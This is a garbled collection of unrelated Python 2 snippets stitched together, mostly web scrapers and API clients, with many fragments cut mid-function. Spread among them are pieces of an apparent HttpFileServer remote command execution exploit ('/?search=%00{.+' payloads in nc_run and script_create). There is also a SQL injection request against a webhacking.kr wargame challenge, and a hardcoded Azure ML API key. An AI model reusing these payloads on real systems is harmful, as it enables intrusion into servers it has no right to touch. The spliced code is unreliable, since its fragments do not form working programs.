urllib2.urlopen("http://" + sys.argv[1] + ":" + sys.argv[2] +
"/?search=%00{.+" + exe + ".}")
def __init__(self, link):
self.url = url.urlopen(link)
self.name = None
self.ingredients = None
self.directions = None
self.image = None
return ""
def main():
wb = xlrd.open_workbook(city_list)
sh = wb.sheet_by_index(0)
r = 1
while r < len(sh.col(0)):
pin = int(sh.col_values(1)[r])
Search_Page(pin)
r += 1
#url = 'https://shop.advanceautoparts.com/webapp/wcs/stores/servlet/StoreLocatorView?storeId=10151&catalogId=10051&langId=-1&filter=&json=true&rnum=10&max=10&min=1&latitude=37.09024&longitude=-95.71289100000001&resolvedZipcode=67301&stPrefStore=&setStoreCookie=true&address=22011020&radius=50'
url = 'https://shop.advanceautoparts.com/webapp/wcs/stores/servlet/StoreLocatorView?storeId=10151&catalogId=10051&langId=-1&filter=&json=true&rnum=10&max=10&min=1&latitude=36.7266574&longitude=-83.4552486&resolvedZipcode=40863&stPrefStore=&setStoreCookie=true&address=22012005&radius=50'
page = urllib2.urlopen(url)
html_doc = page.read()
data = find_between(html_doc, "var response = [", "];")
#json_data = json.loads(data)
#print data
with open('test.json', 'w') as e:
e.write(data)
#print len(json_data)
#print json_data['Name']
#print json_data['Address1']
'''
# Parameters
weatherKey = '' #WUnderground API key
timeKey = '' #TimeZoneDB API key
location = '' #Query location, can be pws (recommended) or coordinates
timezone = '' #Timezone, check TimeZoneDB API manual for list of timezones
queryArray = ['geolookup','hourly','forecast10day']
# Get battery percentage
batt_capacity = open('/sys/devices/system/yoshi_battery/yoshi_battery0/battery_capacity', 'r')
# Get weather data from API
queries = {'geolookup':None,'hourly':None,'forecast10day':None}
for (query, result) in queries.items():
weatherURL = 'http://api.wunderground.com/api/'+weatherKey+'/'+query+'/q/'+location+'.json'
weatherContent = urllib2.urlopen(weatherURL)
queries[query] = json.loads(weatherContent.read())
weatherContent.close()
datetimeURL = 'http://api.timezonedb.com/v2/get-time-zone?key='+timeKey+'&format=json&by=zone&zone='+timezone
datetimeContent = urllib2.urlopen(datetimeURL)
datetime = json.loads(datetimeContent.read())
datetimeContent.close()
datetimeCurrent = time.gmtime(int(datetime['timestamp']))
# Create weather data matrix
weatherData = {}
weatherData['VAR_LOCATION'] = queries['geolookup']['location']['city']
weatherData['VAR_UPDATE_DAY'] = time.strftime('%a', datetimeCurrent)
weatherData['VAR_UPDATE_HOUR'] = time.strftime('%-I', datetimeCurrent)
weatherData['VAR_UPDATE_MINUTE'] = time.strftime('%M', datetimeCurrent)
for i in range(len(tds)): #changing tags to the text within the tag
tds_text[i] = tds[i].text
data = {}
data['rating'] = tds_text[tds_text.index('Purpose:') + 5]
# If we didn't get anything useful, try a different index
if (data['rating'] == "Inspection"):
data['rating'] = tds_text[tds_text.index('Purpose:') + 4]
data['resulttype'] = data['rating'].split(' ')[0]
return data
#for testing, use http://dl.dropbox.com/u/58785631/pet-dealer-scraper/petdealerextract.asp.html
doc = urllib2.urlopen(
"http://www.agriculture.ny.gov/petdealer/petdealerextract.asp").read()
links = SoupStrainer('a', href=re.compile(r'^Pet'))
for el in BeautifulSoup(doc, parseOnlyThese=links):
suburl = 'http://www.agriculture.ny.gov/petdealer/' + urllib2.quote(
el["href"], '?=&')
subdoc = urllib2.urlopen(suburl).read()
sublinks = SoupStrainer('a', href=re.compile(r'^Insp'))
print el["href"]
corp = el["href"].partition('?')[2].partition('&')[2].split('=')[1].split(
' - ')[1]
area = el["href"].partition('?')[2].partition('&')[2].split('=')[1].split(
' - ')[0]
for subel in BeautifulSoup(subdoc, parseOnlyThese=sublinks):
print subel["href"]
# splitting on backslash, must escape
def openURL(url): response = urllib2.urlopen(url) html = response.read() return BeautifulSoup(html)
def nc_run():
urllib2.urlopen("http://" + sys.argv[1] + ":" + sys.argv[2] +
"/?search=%00{.+" + exe1 + ".}")
# coding: utf-8
import urllib2
import json
from bs4 import BeautifulSoup
import HTMLParser
events = []
url = u"http://www.shibuyathegame.com/2015_6.html"
html = urllib2.urlopen(url)
soup = BeautifulSoup(html,"html.parser")
title = None
artist_list = []
event_colums = soup.find_all("div",class_="set-l")
for event_colum in event_colums:
event_ttls = event_colum.find_all("span",class_="fsize_ll")
event_texts = event_colum.find("p")
event = {}
for event_ttl in event_ttls:
big_text = event_ttl.string
if big_text.isdigit() is False:
#曜日がbig_textに含まれるか判定
weeks = ["SUN","MON","TUE","WED","THU","FRI","SAT"]
flag = False
for day in weeks:
if day in big_text:
flag = True
break
if flag is False:
title = big_text
artist_list = []
def script_create():
urllib2.urlopen("http://" + sys.argv[1] + ":" + sys.argv[2] +
"/?search=%00{.+" + save + ".}")
#запрос
url = 'http://babah24.ru/c/1c/getimage.php?salt=%s&crc=%s&id=%s' % (salt, token, i.idbitrix)
r = requests.get(url)
#print r.encoding
#print r.text
data = r.json()
#вяжем картинку
try:
data['pict']
except:
pass
else:
#print r.status_code, url, data['res'], data['pict']
img_temp = NamedTemporaryFile(delete=True)
img_temp.write(urllib2.urlopen('http://babah24.ru%s' % data['pict']).read())
img_temp.flush()
f = File(img_temp)
#f.size
############i.pict.save(id_generator(), f)
try:
i.pict.size #если у товара уже есть картинка
except: #нет картинки, создаем
print 'CREATE %s ' % (data['pict'])
i.pict.save(id_generator(), f)
else: #если есть картинка
if i.pict.size != f.size:
print 'EXIST %s %s' % (i.pict.size, f.size)
i.pict.save(id_generator(), f)
else:
path="/v1.0/tenants/" + tenant_id +
"/agent_config/",
data=json.dumps({"agent_url": url}),
method="POST")
agent_request = json.loads(agent_call)
agent = False
c = 0
while not agent and c < 30:
sleep(1)
c += 1
api_request = urllib2.Request(agent_request['links'][0]['href'], None,
{'X-Auth-Token': token})
try:
api_response = urllib2.urlopen(api_request)
response = api_response.read()
except urllib2.HTTPError, e:
print "Got error: " + str(e)
continue
agent = json.loads(response)
if not agent:
print "Failure: Couldn't parse config."
do_cleanup_and_quit(region_endpoint['publicURL'], container_name,
token)
else:
print "Got config from agent."
# Queue a task
body = str.encode(json.dumps(data))
url = 'https://ussouthcentral.services.azureml.net/workspaces/607045d56e9b4577abd84aab779dc2eb/services/0c379a065d434cf5b5dd6d1e36c3f7cc/execute?api-version=2.0&details=true'
#url = 'https://ussouthcentral.services.azureml.net/workspaces/8aba4c4d1e034b56941f1f916e884791/services/5f87bea224a14c1e960d32af6656628d/execute?api-version=2.0&details=true'
api_key = '4vFDqlsZvTEe3PLFSCyXoXmFs3HmWaIgfD1UzdU/SqC7El5gIyVg4AAIIbhExtRlEd59BQk8bIk5E+i1fS66yA=='
#api_key = 'LZnvjFxHlTdOyAfRr5DimpXaZDWq3J64iIkO+eEFNX88bd956mcCCJsIvJrWr3eKSA+VniEru0IgQ7u9BxuJKw=='
headers = {'Content-Type':'application/json', 'Authorization':('Bearer '+ api_key)}
req = urllib2.Request(url, body, headers)
try:
response = urllib2.urlopen(req)
# If you are using Python 3+, replace urllib2 with urllib.request in the above code:
# req = urllib.request.Request(url, body, headers)
# response = urllib.request.urlopen(req)
result = response.read()
print(result)
except urllib2.HTTPError, error:
print("The request failed with status code: " + str(error.code))
# Print the headers - they include the requert ID and the timestamp, which are useful for debugging the failure
print(error.info())
print(json.loads(error.read()))
#-*- coding: utf-8 -*-
import urllib
import urllib2
import CookieManager
challengeUrl = "http://webhacking.kr/challenge/web/web-12/"
CookieManager.addCookie("PHPSESSID", "e28ad7cb81a98a13982054373940bf92")
parameter = urllib.quote("0) or no>1 --")
httpRequest = urllib2.Request(challengeUrl + "?no=" + parameter)
httpRequest.add_header("Cookie", CookieManager.getCookie())
httpConnection = None
try:
httpConnection = urllib2.urlopen(httpRequest)
httpResponse = httpConnection.read()
print httpResponse
except:
raise
finally:
if httpConnection != None:
httpConnection.close()
def run(locus):
# ----- CLEAR OLD FILES -----
img_files = []
img_files.append("multi_rnaseqgraph.png")
for img_file in img_files:
f = open(img_file, "w+")
red_sqr = gd.image((RNA_IMG_WIDTH, RNA_IMG_HEIGHT))
red_clr = red_sqr.colorAllocate((255,255,255))
red_sqr.rectangle((0,0), (RNA_IMG_WIDTH, RNA_IMG_HEIGHT), red_clr)
red_sqr.writePng(f)
f.close()
# ----- GETS MAPPING INFO FOR THE GENE ID -----
geneid = locus
map_info = json.loads(urllib2.urlopen("http://bar.utoronto.ca/webservices/araport/gff/get_tair10_gff.php?locus=" + geneid).read())
start = map_info[u'result'][0][u'start'] if map_info[u'result'][0][u'strand'] == u'+' else map_info[u'result'][0][u'end']
end = map_info[u'result'][0][u'end'] if map_info[u'result'][0][u'strand'] == u'+' else map_info[u'result'][0][u'start']
chromosome = int(map_info[u'result'][0][u'chromosome'])
'''
Figures out true starts and ends of the CDS based on the information retrieved into map_info.
'''
for region in map_info[u'result']:
if region[u'strand'] == u'+':
if region[u'start'] < start:
start = region[u'start']
if region[u'end'] > end:
end = region[u'end']
else:
if region[u'start'] < start:
start = region[u'start']
if region[u'end'] > end:
end = region[u'end']
output = ""
output += "<title>MULTI TRACK RNA-seq Browser</title>"
generate_exon_graph(map_info, start, end)
e = xml.etree.ElementTree.parse('data/bamdata_amazon_links.xml')
# note that even though there are some experiments that should be grouped together, they aren't in the xml file, and so the grey white colouring is not useful
output += """
<style>
td {padding:0px}
table {border-collapse:collapse}
svg {height:50px;width:auto}
</style>
<table border=1>
"""
current_group = [exp.text for exp in e.getroot()[0].find("groupwith").findall("experiment")]
a = e.getroot()[0].attrib.keys()
a.sort()
colour = False
bold = False
clr = ""
for key in a:
output += "<th>" + key + "</th>"
for child in e.getroot():
if current_group != [exp.text for exp in child.find("groupwith").findall("experiment")]:
colour = not colour
current_group = [exp.text for exp in child.find("groupwith").findall("experiment")]
if child.attrib.get('experimentno') in [exp.text for exp in child.find("control").findall("experiment")]:
#bold this line
bold = True
else:
bold = False
keys = child.attrib.keys()
keys.sort()
#alternate colouring
output += "<tr style=\""
if colour:
output += "background-color:#d3d3d3"
else:
output += "background-color:white"
output += "\">"
for key in a:
if key == "foreground":
try:
output += "<td style=\"background-color:#" + child.attrib.get(key)[2:] + "\">"
clr = child.attrib.get(key)[2:]
except:
output += "<td>"
else:
output += "<td>"
if child.attrib.get(key):
if bold:
output += "<b>"
cases = {
"url": "<a href='" + child.attrib.get(key) + "'>URL link </a> <br />",
"publicationid": "<a href='" + child.attrib.get(key) + "'> publication link </a> <br />",
"name": "<a href='" + child.attrib.get(key) + "'>bam file link </a> <br />",
"url": child.attrib.get(key),
"img": child.attrib.get(key) + ".png",
}
if key == "svgname":
output += open("SVGs/" + child.attrib.get(key)[4:], "r").read()
elif key in cases.keys():
output += cases[key]
if key == "name":
img_file_name = (cases["img"][66:]).replace("/", "_").replace(".bam", "")
output += "<br/>Read from: " + (cases["img"][66:]).replace("/", "_").replace(".png", "")
img_file_name = "static/images/" + img_file_name
output += "<br/>Output went to: " + img_file_name
generate_rnaseq_graph((cases["img"][66:]).replace("/", "_").replace(".png", ""), img_file_name, clr, geneid, start, end)
output += '<br/>'
output += '<img src="' + img_file_name + '">'
output += '<br/>'
output += '<img src="static/images/multi_exongraph.png">'
else:
output += child.attrib[key]
if bold:
output += "</b>"
output += "</td>"
output += "</tr>"
output += "</table>"
return output
#/usr/bin/env python
import json
import urllib2
from urllib2 import URLError
'''
Errors to catch...
1) No results: JSON format error, None
2) Bad URL or no network: urllib2.URLError: <urlopen error [Errno 11001] getaddrinfo failed>
'''
def search_words_return_titles(search_term):
try:
url = "http://www.omdbapi.co/?s={}&y=&plot=short&r=json".format(search_term)
except URLError, e:
print e.reason
response = json.load(urllib2.urlopen(url))
return response
def present_data(response):
try:
for x in response['Search']:
print x['Title']
except (ValueError, KeyError, TypeError):
print "JSON format error"
search_term = raw_input("Search for a word in the film title: ") or "Star"
search_result = search_words_return_titles(search_term)
print present_data(search_result)
def parse_page_type1(self, response):
def extract_with_css(query):
return response.css(query).extract_first()
imagesA = response.xpath(
'//div[@class="news-list"]//div[@class="post-content"]//a[img]/@href'
).extract()
imagesA_generated = list()
for image_file in imagesA:
if (image_file.startswith('/')):
image_file = image_file.replace('/',
'http://www.greenpeace.org/',
1)
imagesA_generated.append(image_file)
imagesB = response.xpath(
'//div[@class="news-list"]//div[@class="post-content"]//img/@src'
).extract()
imagesB_generated = list()
for image_file in imagesB:
if (image_file.startswith('/')):
image_file = image_file.replace('/',
'http://www.greenpeace.org/',
1)
imagesB_generated.append(image_file)
imagesEnlarge = response.xpath(
'//div[@class="news-list"]//div[@class="post-content"]//a[@class="open-img BlogEnlargeImage"]/@href'
).extract()
imagesEnlarge_generated = list()
for image_file in imagesEnlarge:
if (image_file.startswith('/')):
image_file = image_file.replace('/',
'http://www.greenpeace.org/',
1)
imagesEnlarge_generated.append(image_file)
pdfFiles = response.css(
'div.news-list a[href$=".pdf"]::attr(href)').extract()
pdf_files_generated = list()
for pdf_file in pdfFiles:
if (pdf_file.startswith('/')):
pdf_file = pdf_file.replace('/', 'http://www.greenpeace.org/',
1)
pdf_files_generated.append(pdf_file)
date_field = response.css('div.news-list .caption::text').re_first(
r' - \s*(.*)')
date_field = self.filter_month_name(date_field)
# Filter extra string part from date.
date_field = date_field.replace(" at", "")
date_field = date_field.replace(" à", "")
date_field = date_field.replace(" kl.", "")
date_field = date_field.replace(" v", "")
if date_field:
date_field = dateutil.parser.parse(date_field)
image_gallery = response.xpath(
"//*[contains(@class, 'embedded-image-gallery')]")
p3_image_gallery = 'false'
if image_gallery:
p3_image_gallery = 'true'
body_text = response.css(
'div.news-list div.post-content').extract_first()
if body_text:
body_text = body_text.replace('src="//', 'src="https://').replace(
'src="/', 'src="http://www.greenpeace.org/').replace(
'href="/', 'href="http://www.greenpeace.org/')
body_text = body_text.replace('<span class="btn-open">zoom</span>',
'')
body_text = re.sub('<p dir="ltr">(.*)<\/p>', "\g<1>", body_text)
body_text = self.filter_post_content(body_text)
images = response.xpath(
'//*[@class="post-content"]/div/p/a//img[contains(@style, "float:")]'
).extract() #img[@style="margin: 9px; float: left;"]
imagesD_generated = list()
for image in images:
imagesD_generated.append(image)
blockquotes = response.xpath(
'//*[@id="content"]//blockquote').extract()
blockquotes_generated = list()
for blockquote in blockquotes:
blockquotes_generated.append(blockquote)
author_username = response.xpath(
'string(//div[@class="news-list"]/ul/li/*/*/span[@class="caption"]/span[@class="green1"]/strong/a/@href)'
).extract_first()
if (author_username != 'None'):
Segments = author_username.strip().split('/')
try: #if ( ( len(Segments) == 4 ) and Segments[4] ):
if (Segments[4]):
author_username = Segments[4]
except IndexError:
author_username = ''
# Get the thumbnail of the post as requested.
thumbnail = response.xpath(
'string(head//link[@rel="image_src"]/@href)').extract_first()
unique_map_id = int(time.time() + random.randint(0, 999))
# Filter email id image and replace it with email text.
delete_images = list()
for image_file in imagesB_generated:
if ("/emailimages/" in image_file):
# PHP webservice script url.
api_url = "http://localhosttest/ocr_webservice/email_img_to_text.php"
end_point_url = api_url + "?url=" + image_file
emailid = urllib2.urlopen(end_point_url).read(1000)
# Search replace the \n, <BR>, spaces from email id.
emailid = emailid.replace('\n', '')
emailid = emailid.replace('<br>', '')
emailid = emailid.replace('<BR>', '')
emailid = emailid.replace(' ', '')
delete_images.append(image_file)
# Remove the email images from Post body and replace it with email text.
body_text = re.sub(
'<img[a-zA-Z0-9="\s\_]*src=\"' + image_file +
'\"[a-zA-Z0-9="\s]*>',
'<a href="mailto:' + emailid.strip() +
'" target="_blank">' + emailid.strip() + '</a>', body_text)
# Remove the email images from list.
for image_file in delete_images:
imagesB_generated.remove(image_file)
"""
#list images urls
for image_file in imagesB_generated:
if ("/emailimages/" in image_file):
data = [image_file]
self.csv_writer(data, "email_images_url_list_fr_story.csv")
"""
yield {
'type':
response.meta['p4_post_type'],
'p3_image_gallery':
p3_image_gallery,
'title':
extract_with_css('div.news-list h1::text'),
#'subtitle': '',
'author':
response.xpath(
'string(//div[@class="news-list"]/ul/li/*/*/span[@class="caption"]/span[@class="green1"]/strong)'
).extract()[0],
'author_username':
author_username,
'date':
date_field,
#'lead': extract_with_css('div.news-list div.post-content *:first-child strong::text'),
'lead':
response.xpath(
'string(//div[@class="news-list"]/ul/li/div[@class="post-content"]/div//*[self::p or self::h3 or self::h2][1])'
).extract()[0],
'categories':
response.meta['categories'],
'text':
body_text,
'imagesA':
imagesA_generated,
'imagesEnlarge':
imagesEnlarge_generated,
'imagesB':
imagesB_generated,
'imagesC':
response.xpath(
'//div[@class="gallery"]//div[@class="img-nav"]//a/@rel').
extract(), # Galleries (horrible html)
'imagesD':
imagesD_generated,
'blockquote':
blockquotes_generated,
'pdfFiles':
pdf_files_generated,
'tags1':
response.meta['tags1'],
'tags2':
response.meta['tags2'],
'tags3':
response.meta['tags3'],
'url':
response.url,
'status':
response.meta['status'],
'map_url':
'',
'unique_map_id':
unique_map_id,
'thumbnail':
thumbnail,
}
def parse_page_type2(self, response):
def extract_with_css(query):
return response.css(query).extract_first()
imagesA = response.xpath(
'//div[@class="post-content"]//a[img]/@href').extract()
imagesA_generated = list()
for image_file in imagesA:
if (image_file.startswith('/')):
image_file = image_file.replace('/',
'http://www.greenpeace.org/',
1)
imagesA_generated.append(image_file)
imagesB = response.xpath(
'//div[@class="post-content"]//img/@src').extract()
if len(imagesB) == 0:
imagesB = response.xpath(
'//div[@id="content"]//img/@src').extract()
imagesB_generated = list()
for image_file in imagesB:
if (image_file.startswith('/')):
image_file = image_file.replace('/',
'http://www.greenpeace.org/',
1)
# Custom fix for GPAF only.
if 'http://assets.pinterest.com/images/PinExt.png' not in image_file:
imagesB_generated.append(image_file)
pdfFiles = response.css(
'div.article a[href$=".pdf"]::attr(href)').extract()
pdf_files_generated = list()
for pdf_file in pdfFiles:
if (pdf_file.startswith('/')):
pdf_file = pdf_file.replace('/', 'http://www.greenpeace.org/',
1)
pdf_files_generated.append(pdf_file)
image_gallery = response.xpath(
"//*[contains(@class, 'embedded-image-gallery')]")
p3_image_gallery = 'false'
if image_gallery:
p3_image_gallery = 'true'
try:
lead_text = response.xpath(
'//*[@id="content"]/div[4]/div/div[2]/div[1]/div/text()'
).extract()[0]
except IndexError:
lead_text = ''
body_text = response.xpath(
'//*[@id="content"]/div[4]/div/div[2]/div[2]').extract()[0]
if body_text:
body_text = body_text.replace('src="//', 'src="https://').replace(
'src="/', 'src="http://www.greenpeace.org/').replace(
'href="/', 'href="http://www.greenpeace.org/')
body_text = body_text.replace('<span class="btn-open">zoom</span>',
'')
body_text = re.sub('<p dir="ltr">(.*)<\/p>', "\g<1>", body_text)
if lead_text:
body_text = '<div class="leader">' + lead_text + '</div>' + body_text + response.xpath(
' //*[@id="content"]/div[4]/div/div[2]/p').extract_first()
subtitle = extract_with_css('div.article h2 span::text')
if subtitle:
body_text = '<h2>' + subtitle + '</h2><br />' + body_text
thumbnail = response.xpath(
'string(head//link[@rel="image_src"]/@href)').extract_first()
date_field = response.css(
'div.article div.text span.author::text').re_first(r' - \s*(.*)')
date_field = self.filter_month_name(date_field)
# Filter extra string part from date.
date_field = date_field.replace(" at", "")
date_field = date_field.replace(" à", "")
date_field = date_field.replace(" kl.", "")
date_field = date_field.replace(" v", "")
if date_field:
date_field = dateutil.parser.parse(date_field)
# Filter email id image and replace it with email text.
delete_images = list()
for image_file in imagesB_generated:
if ("/emailimages/" in image_file):
api_url = "http://localhosttest/ocr_webservice/email_img_to_text.php"
end_point_url = api_url + "?url=" + image_file
emailid = urllib2.urlopen(end_point_url).read(1000)
# Search replace the \n, <BR>, spaces from email id.
emailid = emailid.replace('\n', '')
emailid = emailid.replace('<br>', '')
emailid = emailid.replace('<BR>', '')
emailid = emailid.replace(' ', '')
delete_images.append(image_file)
# Remove the email images from Post body and replace it with email text.
body_text = re.sub(
'<img[a-zA-Z0-9="\s\_]*src=\"' + image_file +
'\"[a-zA-Z0-9="\s]*>',
'<a href="mailto:' + emailid.strip() +
'" target="_blank">' + emailid.strip() + '</a>', body_text)
# Remove the email images from list.
for image_file in delete_images:
imagesB_generated.remove(image_file)
"""
#list images urls
for image_file in imagesB_generated:
if ("/emailimages/" in image_file):
data = [image_file]
self.csv_writer(data, "email_images_url_list_fr.csv")
"""
# Post data mapping logic start.
unique_map_id = int(time.time() + random.randint(0, 999))
map_url = ''
"""
if "/en/" in response.url:
# For English language POSTs
# Check the POST transalation availability
try:
map_url = response.xpath('//*[@class="language"]//option[2]/@value').extract()[0]
except IndexError:
map_url = ''
if "/fr/" not in map_url:
map_url = ''
if map_url:
map_url = 'http://www.greenpeace.org' + map_url
# The Post mapping data added into csv file.
data = [unique_map_id, response.url, map_url]
self.csv_writer(data, self.__connector_csv_filename)
data = [response.url, response.meta['p4_post_type'], response.meta['categories'], response.meta['tags1'], response.meta['tags2'], response.meta['tags3'], response.meta['post_type'], response.meta['action']]
self.csv_writer(data, "Language_mapping_en_list.csv")
else:
# For French language POSTs
# Check the POST transalation if available
try:
map_url = response.xpath('//*[@class="language"]//option[1]/@value').extract()[0]
except IndexError:
map_url = ''
if "/en/" not in map_url:
map_url = ''
if map_url:
map_url = 'http://www.greenpeace.org' + map_url
with open(self.__connector_csv_filename, "rb") as file_obj:
reader = csv.reader(file_obj)
for row in reader:
if (row[1] == map_url or row[2] == response.url):
#print "=======Match found======="
unique_map_id = row[0]
# Log the details
data = ["FR==>", unique_map_id, response.url, map_url,"EN==>", row[0], row[1], row[2]]
#print data
self.csv_writer(data, self.__connector_csv_log_file)
data = [response.url, response.meta['p4_post_type'], response.meta['categories'],
response.meta['tags1'], response.meta['tags2'], response.meta['tags3'],
response.meta['post_type'], response.meta['action']]
self.csv_writer(data, "Language_mapping_fr_list.csv")
# Post data mapping logic ends.
"""
yield {
'type':
response.meta['p4_post_type'],
'p3_image_gallery':
p3_image_gallery,
'title':
extract_with_css('div.article h1 span::text'),
#'subtitle': '',
'author':
'Greenpeace Česká republika',
'author_username':
'******',
#'date': response.css('#content > div.happen-box.article > div > div.text > span').re_first(r' - \s*(.*)'),
'date':
date_field,
#'lead': extract_with_css('div.news-list div.post-content *:first-child strong::text'),
'lead':
extract_with_css(
'#content > div.happen-box.article > div > div.text > div.leader > div'
),
'categories':
response.meta['categories'],
#'text': response.css('div.news-list div.post-content').extract_first(),
'text':
body_text,
'imagesA':
imagesA_generated,
#'imagesB': response.xpath('//div[@class="news-list"]//div[@class="post-content"]//img[not(ancestor::a)]/@src').extract(), #don't import image if there's an a tag around it
'imagesB':
imagesB_generated,
'imagesC':
response.xpath(
'//div[@class="gallery"]//div[@class="img-nav"]//a/@rel').
extract(), # Galleries (horrible html)
'pdfFiles':
pdf_files_generated,
'tags1':
response.meta['tags1'],
'tags2':
response.meta['tags2'],
'tags3':
response.meta['tags3'],
'map_url':
map_url,
'unique_map_id':
unique_map_id,
'url':
response.url,
}
import pandas as pd
if not len(sys.argv) == 4:
print(
"Invalid number of arguments. Run as: python get_bus_info_bja282.py APIKey BusLine file_to_write_to.csv"
)
sys.exit()
MTA_KEY = sys.argv[1]
BUS_LINE = sys.argv[2]
#url = "http://api.openweathermap.org/data/2.5/forecast/daily?q=%s&mode=%s&units=%s&cnt=7&APPID=%s"%(city, mode, units, apikey)
url = "http://bustime.mta.info/api/siri/vehicle-monitoring.json?key=%s&VehicleMonitoringDetailLevel=calls&LineRef=%s" % (
MTA_KEY, BUS_LINE)
response = urllib2.urlopen(url)
data = response.read().decode("utf-8")
#use the json.loads method to obtain a dictionary representation of the responose string
mtabuses = json.loads(data)
bus_activity = (
mtabuses['Siri']['ServiceDelivery']['VehicleMonitoringDelivery'])
busesontheroad = len(bus_activity[0]['VehicleActivity'])
#Answer Format:
#Latitude,Longitude,Stop Name,Stop Status
#40.755489,-73.987347,7 AV/W 41 ST,at stop
#40.775657,-73.982036,BROADWAY/W 69 ST,approaching
#40.808332,-73.944979,MALCOLM X BL/W 127 ST,approaching
#40.764998,-73.980416,N/A,N/A
#40.804702,-73.947620,MALCOLM X BL/W 122 ST,< 1 stop away
def getNordVPNLocation(vpn_provider, location, server_count, just_name):
# Return friendly name and .ovpn file name
# Given the location, find the country ID of the servers
addon = xbmcaddon.Addon(getID())
filename = getAddonPath(True, vpn_provider + "/" + NORD_LOCATIONS)
# If the list of countries doesn't exist (this can happen after a reinstall)
# then go and do the pre-fetch first. Otherwise this shouldn't be necessary
try:
if not xbmcvfs.exists(filename):
getNordVPNPreFetch(vpn_provider)
except Exception as e:
errorTrace(
"alternativeNord.py",
"Couldn't download the list of countries to get ID for " +
vpn_provider + " from " + filename)
errorTrace("alternativeNord.py", str(e))
return "", "", "", False
try:
locations_file = open(filename, 'r')
locations = locations_file.readlines()
locations_file.close()
id = ""
for l in locations:
country, id = l.split(",")
id = id.strip(' \t\n\r')
if location == country:
break
if id == "":
errorTrace(
"alternativeNord.py", "Couldn't retrieve location " +
location + " for " + vpn_provider + " from " + filename)
return "", "", "", False
except Exception as e:
errorTrace(
"alternativeNord.py",
"Couldn't read the list of countries to get ID for " +
vpn_provider + " from " + filename)
errorTrace("alternativeNord.py", str(e))
return "", "", "", False
# Generate the file name from the location
location_filename = getNordVPNLocationName(vpn_provider, location)
if just_name: return location, location_filename, "", False
# Download the JSON object of servers
response = ""
error = True
try:
if "UDP" in addon.getSetting("vpn_protocol"): protocol = "udp"
else: protocol = "tcp"
download_url = "https://api.nordvpn.com/v1/servers/recommendations?filters[servers_technologies][identifier]=openvpn_" + protocol + "&filters[country_id]=" + id + "&filters[servers_groups][identifier]=legacy_standard"
if ifHTTPTrace():
infoTrace(
"alternativeNord.py",
"Downloading server info for " + location + " with ID " + id +
" and protocol " + protocol + " using " + download_url)
else:
debugTrace("Downloading server info for " + location +
" with ID " + id + " and protocol " + protocol)
token = getTokenNordVPN()
req = urllib2.Request(download_url)
req.add_header("Authorization", "token:" + token)
t_before = now()
response = urllib2.urlopen(req)
server_data = json.load(response)
t_after = now()
response.close()
error = False
if ifJSONTrace():
infoTrace(
"alternativeNord.py",
"JSON received is \n" + json.dumps(server_data, indent=4))
if t_after - t_before > TIME_WARN:
infoTrace(
"alternativeNord.py", "Downloading server info for " +
location + " with ID " + id + " and protocol " + protocol +
" took " + str(t_after - t_before) + " seconds")
except urllib2.HTTPError as e:
errorTrace(
"alternativeNord.py", "Couldn't retrieve the server info for " +
vpn_provider + " location " + location + ", ID " + id)
errorTrace("alternativeNord.py", "API call was " + download_url)
errorTrace("alternativeNord.py",
"Response was " + str(e.code) + " " + e.reason)
errorTrace("alternativeNord.py", e.read())
except Exception as e:
errorTrace(
"alternativeNord.py", "Couldn't retrieve the server info for " +
vpn_provider + " location " + location + ", ID " + id)
errorTrace("alternativeNord.py", "API call was " + download_url)
errorTrace("alternativeNord.py",
"Response was " + str(type(e)) + " " + str(e))
if error:
# If there's an API connectivity issue but a location file exists then use that
# Won't have the latest best location in it though
if xbmcvfs.exists(location_filename):
infoTrace("alternativeNord.py",
"Using existing " + location + " file")
return location, location_filename, "", False
else:
return "", "", "", False
# First server is the best one, but if it didn't connect last time then skip it. The last attempted server
# will be cleared on a restart, or a successful connection. If there are no more connections to try, then
# it will try the first connection again. However, if this is > 4th attempt to connect outside of the
# validation then it'll always default to the best as it's likely there's a network rather than server problem
last = getVPNRequestedServer()
if not last == "" and server_count < 5:
debugTrace(
"Server " + last +
" didn't connect last time so will be skipping to the next server."
)
last_found = False
else:
last = ""
last_found = True
first_server = ""
for item in server_data:
name = item["name"]
server = item["hostname"]
status = item["status"]
load = str(item["load"])
#debugTrace("Next is " + name + ", " + server + ", " + status + ". Load is " + load)
if status == "online":
if first_server == "": first_server = server
if last_found:
debugTrace("Using " + name + ", " + server +
", online. Load is " + load)
break
if server == last: last_found = True
server = ""
if server == "": server = first_server
setVPNRequestedServer(server)
# Fetch the ovpn file for the server
if not server == "":
if not getNordVPNOvpnFile(server, protocol, location_filename):
if not xbmcvfs.exists(location_filename):
return "", "", "", False
return location, location_filename, "", False
else:
return "", "", "", False
def confirmPlan(self, id):
res = urllib2.urlopen(self.base + '/api/confirm?id=%d' % (id)).read()
jres = json.loads(res)
if jres['ret'] > 0:
print "Plan %d confirmed" % (id)
def writeTeamTotals(gamelist, scorelist):
delim = ","
fr = open(gamelist, "r")
fr.readline() # first line is data names
games = fr.readlines()
fw = open(scorelist, "a")
keys = [
"gameid", "gameid_num", "away", "home", "tm", "line", "player_code",
"pos", "min", "fgm", "fga", "3pm", "3pa", "ftm", "fta", "+/-", "off",
"def", "tot", "ast", "pf", "st", "to", "bs", "ba", "pts"
]
Ncols = len(keys)
#fw.write(delim.join(keys) + "\n")
for game in games:
game = game.split("\n")[0].split(delim)
gameid = game[1]
print gameid # debug
date = gameid[:8]
teams = game[2:4]
seasonyear = str(
int(date[0:4]) - (int(date[4:6]) < 8)
) # new year's games are part of prev season until october
line = getLine(gameid)
#line = [100 100]
#url = "http://www.nba.com/games/game_component/dynamic/" + date + "/" + teams + "/pbp_all.xml"
url = "http://data.nba.com/data/10s/html/nbacom/" + seasonyear + "/gameinfo/" + date + "/" + game[
0] + "_boxscore_csi.html"
soup = BeautifulSoup(urllib2.urlopen(url).read())
# get to table
teamstats = soup.find_all("table")
#
## away team
#
# stat totals
totalstats = teamstats[0].find_all('tr')[-2]
I = [gameid, game[0], teams[0], teams[1], teams[0], str(line[0])]
entries = totalstats.find_all('td')
I.append("total")
for e in entries[1:]:
try:
temp = str(e.text)
except:
temp = ''
if temp == ' ':
temp = ''
if re.match("([\d]+)-([\d]+)", temp):
temp = temp.split("-")
for t in temp:
I.append(t)
else:
I.append(temp)
if len(I) == Ncols:
fw.write(delim.join(I) + "\n")
#
## home team
#
# stat totals
totalstats = teamstats[1].find_all('tr')[-2]
I = [gameid, game[0], teams[0], teams[1], teams[1], str(line[1])]
entries = totalstats.find_all('td')
I.append("total")
for e in entries[1:]:
try:
temp = str(e.text)
except:
temp = ''
